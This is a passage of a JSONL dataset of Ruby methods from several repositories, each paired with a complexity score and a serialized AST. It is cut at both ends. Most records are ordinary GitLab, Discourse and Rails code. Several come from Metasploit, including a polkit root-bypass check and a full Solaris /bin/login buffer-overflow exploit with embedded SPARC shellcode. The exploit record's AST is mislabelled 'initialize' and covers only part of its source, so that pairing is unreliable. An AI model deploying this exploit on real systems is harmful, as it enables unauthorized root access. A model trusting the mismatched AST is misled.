end","complexity_score":18.45,"ast_json":"{\"type\":\"def\",\"children\":[\"test_errors_should_be_indexed_when_passed_as_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"guitar\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Guitar\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"tuning_peg_valid\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TuningPeg\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tuning_peg_valid\"]},\"pitch=\",{\"type\":\"float\",\"children\":[440.0]}]},{\"type\":\"lvasgn\",\"children\":[\"tuning_peg_invalid\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TuningPeg\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guitar\"]},\"tuning_pegs=\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tuning_peg_valid\"]},{\"type\":\"lvar\",\"children\":[\"tuning_peg_invalid\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"tuning_peg_invalid\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"tuning_peg_valid\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"guitar\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"is not a number\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guitar\"]},\"errors\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tuning_pegs[1].pitch\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"is not a number\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guitar\"]},\"errors\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tuning_pegs.pitch\"]}]}]}]}]}","id":"2c660988-a7ff-40fb-a7e7-4b6f17a73295"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/polkit_dbus_auth_bypass.rb","start_line":155,"raw_source":"def check_via_attempt\n    status = nil\n    return status unless !is_root? && command_exists?('dbus-send')\n\n    # This is required to make the /org/freedesktop/Accounts/User0 object_path available.\n    dbus_method_call('/org/freedesktop/Accounts', 'org.freedesktop.Accounts.FindUserByName', 'root')\n    # Check for the presence of the vulnerability be exploiting it to set the root user's RealName property to a\n    # random string before restoring it.\n    result = dbus_method_call('/org/freedesktop/Accounts/User0', 'org.freedesktop.DBus.Properties.Get', 'org.freedesktop.Accounts.User', 'RealName')\n    if result =~ /variant\\s+string\\s+\"(.*)\"/\n      old_realname = Regexp.last_match(1)\n      if exploit_set_realname(rand_text_alphanumeric(12))\n        status = CheckCode::Vulnerable('The polkit framework instance is vulnerable.')\n        unless exploit_set_realname(old_realname)\n          print_error('Failed to restore the root user\\'s original \\'RealName\\' property value')\n        end\n      end\n    end\n\n    status\n  end","complexity_score":24.55,"ast_json":"{\"type\":\"def\",\"children\":[\"check_via_attempt\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_root?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"command_exists?\",{\"type\":\"str\",\"children\":[\"dbus-send\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]}]}]},{\"type\":\"send\",\"children\":[null,\"dbus_method_call\",{\"type\":\"str\",\"children\":[\"/org/freedesktop/Accounts\"]},{\"type\":\"str\",\"children\":[\"org.freedesktop.Accounts.FindUserByName\"]},{\"type\":\"str\",\"children\":[\"root\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"dbus_method_call\",{\"type\":\"str\",\"children\":[\"/org/freedesktop/Accounts/User0\"]},{\"type\":\"str\",\"children\":[\"org.freedesktop.DBus.Properties.Get\"]},{\"type\":\"str\",\"children\":[\"org.freedesktop.Accounts.User\"]},{\"type\":\"str\",\"children\":[\"RealName\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"variant\\\\s+string\\\\s+\\\"(.*)\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_realname\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exploit_set_realname\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[12]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Vulnerable\",{\"type\":\"str\",\"children\":[\"The polkit framework instance is vulnerable.\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exploit_set_realname\",{\"type\":\"lvar\",\"children\":[\"old_realname\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to restore the root user's original 'RealName' property value\"]}]}]}]},null]}]},null]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}","id":"00538516-8285-49d8-b30a-18d3865128ff"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/generators/ruby_llm/upgrade_to_v1_7/upgrade_to_v1_7_generator.rb","start_line":69,"raw_source":"def update_initializer\n        initializer_path = 'config/initializers/ruby_llm.rb'\n\n        unless File.exist?(initializer_path)\n          say_status :warning, 'No initializer found. Creating one...', :yellow\n          template 'initializer.rb.tt', initializer_path\n          return\n        end\n\n        initializer_content = File.read(initializer_path)\n\n        return if initializer_content.include?('config.use_new_acts_as')\n\n        inject_into_file initializer_path, before: /^end/ do\n          lines = [\"\\n  # Enable the new Rails-like API\", '  config.use_new_acts_as = true']\n          lines << \"  config.model_registry_class = \\\"#{model_model_name}\\\"\" if model_model_name != 'Model'\n          lines << \"\\n\"\n          lines.join(\"\\n\")\n        end\n      end","complexity_score":21.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_initializer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"initializer_path\",{\"type\":\"str\",\"children\":[\"config/initializers/ruby_llm.rb\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"initializer_path\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"say_status\",{\"type\":\"sym\",\"children\":[\"warning\"]},{\"type\":\"str\",\"children\":[\"No initializer found. Creating one...\"]},{\"type\":\"sym\",\"children\":[\"yellow\"]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"initializer.rb.tt\"]},{\"type\":\"lvar\",\"children\":[\"initializer_path\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"initializer_content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"initializer_path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"initializer_content\"]},\"include?\",{\"type\":\"str\",\"children\":[\"config.use_new_acts_as\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inject_into_file\",{\"type\":\"lvar\",\"children\":[\"initializer_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"before\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^end\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lines\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n  # Enable the new Rails-like API\"]},{\"type\":\"str\",\"children\":[\"  config.use_new_acts_as = true\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model_model_name\"]},\"!=\",{\"type\":\"str\",\"children\":[\"Model\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  config.model_registry_class = \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model_model_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}]}","id":"fd162136-e416-40bf-b05a-652a345e7484"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/solaris/dialup/manyargs.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name'\t=> 'System V Derived /bin/login Extraneous Arguments Buffer Overflow',\n        'Description'\t=> %q{\n          This exploit connects to a system's modem over dialup and exploits\n          a buffer overflow vulnerability in it's System V derived /bin/login.\n          The vulnerability is triggered by providing a large number of arguments.\n        },\n        'References' => [\n          ['CVE', '2001-0797'],\n          ['OSVDB', '690'],\n          ['OSVDB', '691'],\n          ['BID', '3681'],\n          ['URL', 'https://web.archive.org/web/20120114122443/http://archives.neohapsis.com/archives/bugtraq/2002-10/0014.html'],\n          ['URL', 'https://web.archive.org/web/20120114113100/http://archives.neohapsis.com/archives/bugtraq/2004-12/0404.html'],\n          ['URL', 'https://github.com/0xdea/exploits/blob/master/solaris/raptor_rlogin.c'],\n        ],\n        'Author' => [\n          'I)ruid',\n        ],\n        'Arch'\t=> ARCH_TTY,\n        'Platform'\t=> ['unix'],\n        'License'\t=> MSF_LICENSE,\n        'Payload' => {\n          'Space' => 3000,\n          'BadChars' => '',\n          'DisableNops' => true\n        },\n        'Targets' => [\n          [\n            'Solaris 2.6 - 8 (SPARC)',\n            {\n              'Platform' => 'unix',\n              'Ret' => 0x00027184,\n              # Solaris/SPARC special shellcode (courtesy of inode)\n              # execve() + exit()\n              'Shellcode' =>\n                  \"\\x94\\x10\\x20\\x00\\x21\\x0b\\xd8\\x9a\\xa0\\x14\\x21\\x6e\\x23\\x0b\\xcb\\xdc\" \\\n                  \"\\xa2\\x14\\x63\\x68\\xd4\\x23\\xbf\\xfc\\xe2\\x23\\xbf\\xf8\\xe0\\x23\\xbf\\xf4\" \\\n                  \"\\x90\\x23\\xa0\\x0c\\xd4\\x23\\xbf\\xf0\\xd0\\x23\\xbf\\xec\\x92\\x23\\xa0\\x14\" \\\n                  \"\\x82\\x10\\x20\\x3b\\x91\\xd0\\x20\\x08\\x82\\x10\\x20\\x01\\x91\\xd0\\x20\\x08\",\n              'NOP' => \"\\x90\\x1b\\x80\\x0e\"\n            }\n          ],\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2001-12-12',\n        'Notes' => {\n          'Stability' => [ CRASH_SERVICE_RESTARTS ],\n          'SideEffects' => [ IOC_IN_LOGS ],\n          'Reliability' => [ REPEATABLE_SESSION ]\n        }\n      )\n    )\n  end\n\n  def buildbuf\n    print_status(\"Targeting: #{target.name}\")\n\n    retaddr = target.ret\n    shellcode = target['Shellcode']\n    nop = target['NOP']\n\n    # prepare the evil buffer\n    i = 0\n    buf = ''\n\n    # login name\n    buf[i, 4] = 'bin '\n    i += 4\n\n    # return address\n    buf[i, 4] = [retaddr].pack('N')\n    i += 4\n    buf[i, 1] = ' '\n    i += 1\n\n    # trigger the overflow\n    (0...60).each do |_c|\n      buf[i, 2] = 'a '\n      i += 2\n    end\n\n    # padding\n    buf[i, 4] = ' BBB'\n    i += 4\n\n    # nop sled and shellcode\n    (0...398).each do |_c|\n      buf[i, nop.size] = nop\n      i += nop.size\n    end\n    shellcode.each_byte do |b|\n      c = b.chr\n      case c\n      when '\\\\'\n        buf[i, 2] = '\\\\\\\\'\n        i += 2\n      when \"\\xff\", \"\\n\", ' ', \"\\t\"\n        buf[i, 1] = '\\\\'\n        buf[i + 1, 1] = (((b & 0o300) >> 6) + '0').chr\n        buf[i + 2, 1] = (((b & 0o070) >> 3) + '0').chr\n        buf[i + 3, 1] = ((b & 0o007) + '0').chr\n        i += 4\n      else\n        buf[i, 1] = c\n        i += 1\n      end\n    end\n\n    # TODO: need to overwrite/skip the last byte of shellcode?\n    # i -= 1\n\n    # padding\n    buf[i, 4] = 'BBB '\n    i += 4\n\n    # pam_handle_t: minimal header\n    buf[i, 16] = 'CCCCCCCCCCCCCCCC'\n    i += 16\n    buf[i, 4] = [retaddr].pack('N')\n    i += 4\n    buf[i, 4] = [0x01].pack('N')\n    i += 4\n\n    # pam_handle_t: NULL padding\n    (0...52).each do |_c|\n      buf[i, 4] = [0].pack('N')\n      i += 4\n    end\n\n    # pam_handle_t: pameptr must be the 65th ptr\n    buf[i, 9] = \"\\x00\\x00\\x00 AAAA\\n\"\n    i += 9\n\n    return buf\n  end","complexity_score":3.95,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"i\"]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"str\",\"children\":[\"BBB \"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"i\"]},{\"type\":\"int\",\"children\":[16]},{\"type\":\"str\",\"children\":[\"CCCCCCCCCCCCCCCC\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"i\"]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retaddr\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"i\"]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[52]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_c\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"i\"]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[4]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"i\"]},{\"type\":\"int\",\"children\":[9]},{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\\u0000 AAAA\\n\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[9]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]}]}]}]}","id":"e8fe3191-7d2b-40b1-a89d-022dd59cfd92"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/entry/processable.rb","start_line":132,"raw_source":"def value\n            { name: name,\n              stage: stage_value,\n              extends: extends,\n              rules: rules_value,\n              job_variables: variables_entry.value_with_data,\n              root_variables_inheritance: root_variables_inheritance,\n              only: only_value,\n              except: except_value,\n              environment: environment_defined? ? environment_value : nil,\n              environment_name: environment_defined? ? environment_value[:name] : nil,\n              resource_group: resource_group,\n              interruptible: interruptible_defined? ? interruptible_value : nil }.compact\n          end","complexity_score":25.8,"ast_json":"{\"type\":\"def\",\"children\":[\"value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stage\"]},{\"type\":\"send\",\"children\":[null,\"stage_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extends\"]},{\"type\":\"send\",\"children\":[null,\"extends\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rules\"]},{\"type\":\"send\",\"children\":[null,\"rules_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job_variables\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"variables_entry\"]},\"value_with_data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root_variables_inheritance\"]},{\"type\":\"send\",\"children\":[null,\"root_variables_inheritance\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"send\",\"children\":[null,\"only_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"except\"]},{\"type\":\"send\",\"children\":[null,\"except_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environment_defined?\"]},{\"type\":\"send\",\"children\":[null,\"environment_value\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment_name\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environment_defined?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environment_value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_group\"]},{\"type\":\"send\",\"children\":[null,\"resource_group\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"interruptible\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"interruptible_defined?\"]},{\"type\":\"send\",\"children\":[null,\"interruptible_value\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"compact\"]}]}","id":"adeea2ec-378f-4990-833d-e815470f3d47"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse_diff.rb","start_line":293,"raw_source":"def end_element(name)\n      return if USELESS_TAGS.include?(name) || AUTOCLOSING_TAGS.include?(name)\n      @tokens << \"</#{name}>\"\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"end_element\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"USELESS_TAGS\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AUTOCLOSING_TAGS\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tokens\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"</\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\">\"]}]}]}]}]}","id":"2ae91f3c-da2c-4f58-8de2-d84f439d625e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/deployments_finder.rb","start_line":36,"raw_source":"def initialize(params = {})\n    @params = params\n    @params[:status] = Array(@params[:status]).map(&:to_s) if @params[:status]\n\n    validate!\n  end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"validate!\"]}]}]}","id":"fc422691-da13-49f5-9f3c-bfc4d762427b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/escalate/cups_root_file_read.rb","start_line":144,"raw_source":"def prev_error_log_path\n    datastore['ERROR_LOG']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"prev_error_log_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ERROR_LOG\"]}]}]}","id":"9d7b5fb1-a7a9-4eab-9e4b-9d8ca23f7784"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/commit_controller.rb","start_line":167,"raw_source":"def rapid_diffs\n    return render_404 unless ::Feature.enabled?(:rapid_diffs_on_commit_show, current_user, type: :wip)\n\n    @rapid_diffs_presenter = RapidDiffs::CommitPresenter.new(\n      @commit,\n      diff_view,\n      commit_diff_options\n    )\n\n    show\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"rapid_diffs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"rapid_diffs_on_commit_show\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"wip\"]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@rapid_diffs_presenter\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RapidDiffs\"]},\"CommitPresenter\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@commit\"]},{\"type\":\"send\",\"children\":[null,\"diff_view\"]},{\"type\":\"send\",\"children\":[null,\"commit_diff_options\"]}]}]},{\"type\":\"send\",\"children\":[null,\"show\"]}]}]}","id":"58c8e827-ad7a-4b88-bd66-70dcac5f312b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/snmp/manager.rb","start_line":638,"raw_source":"def on_trap_v2c(&block)\n        raise ArgumentError, \"a block must be provided\" unless block\n        @lock.synchronize { @v2c_handler = block }\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_trap_v2c\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"a block must be provided\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@v2c_handler\",{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"6f6ab9b8-c5d1-4cfe-b91c-10bb62026017"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/oats_downloadservlet_traversal.rb","start_line":160,"raw_source":"def ota_login!\n    prepare_auth_spec\n    uri = normalize_uri(target_uri.path, 'olt', 'faces', 'login')\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => uri,\n      'cookie' => \"JSESSIONID=#{auth_spec.session_id}\",\n      'headers' =>\n        {\n          'Upgrade-Insecure-Requests' => '1'\n        },\n      'vars_post' =>\n        {\n          'userName' => datastore['OATSUSERNAME'],\n          'password' => datastore['OATSPASSWORD'],\n          'org.apache.myfaces.trinidad.faces.FORM' => auth_spec.form_value,\n          'Adf-Window-Id' => auth_spec.adf_window_id,\n          'javax.faces.ViewState' => auth_spec.view_state,\n          'Adf-Page-Id' => auth_spec.adf_page_id,\n          'event' => 'btnSubmit',\n          'event.btnSubmit' => '<m xmlns=\"http://oracle.com/richClient/comm\"><k v=\"type\"><s>action</s></k></m>'\n        }\n    })\n\n    fail_with(Failure::Unknown, 'No response from server') unless res\n    if res.body.include?('Login failed')\n      fail_with(Failure::NoAccess, 'Login failed')\n    else\n      store_valid_credential(user: datastore['OATSUSERNAME'], private: datastore['OATSPASSWORD'])\n      load_view_redirect_value(res)\n    end\n  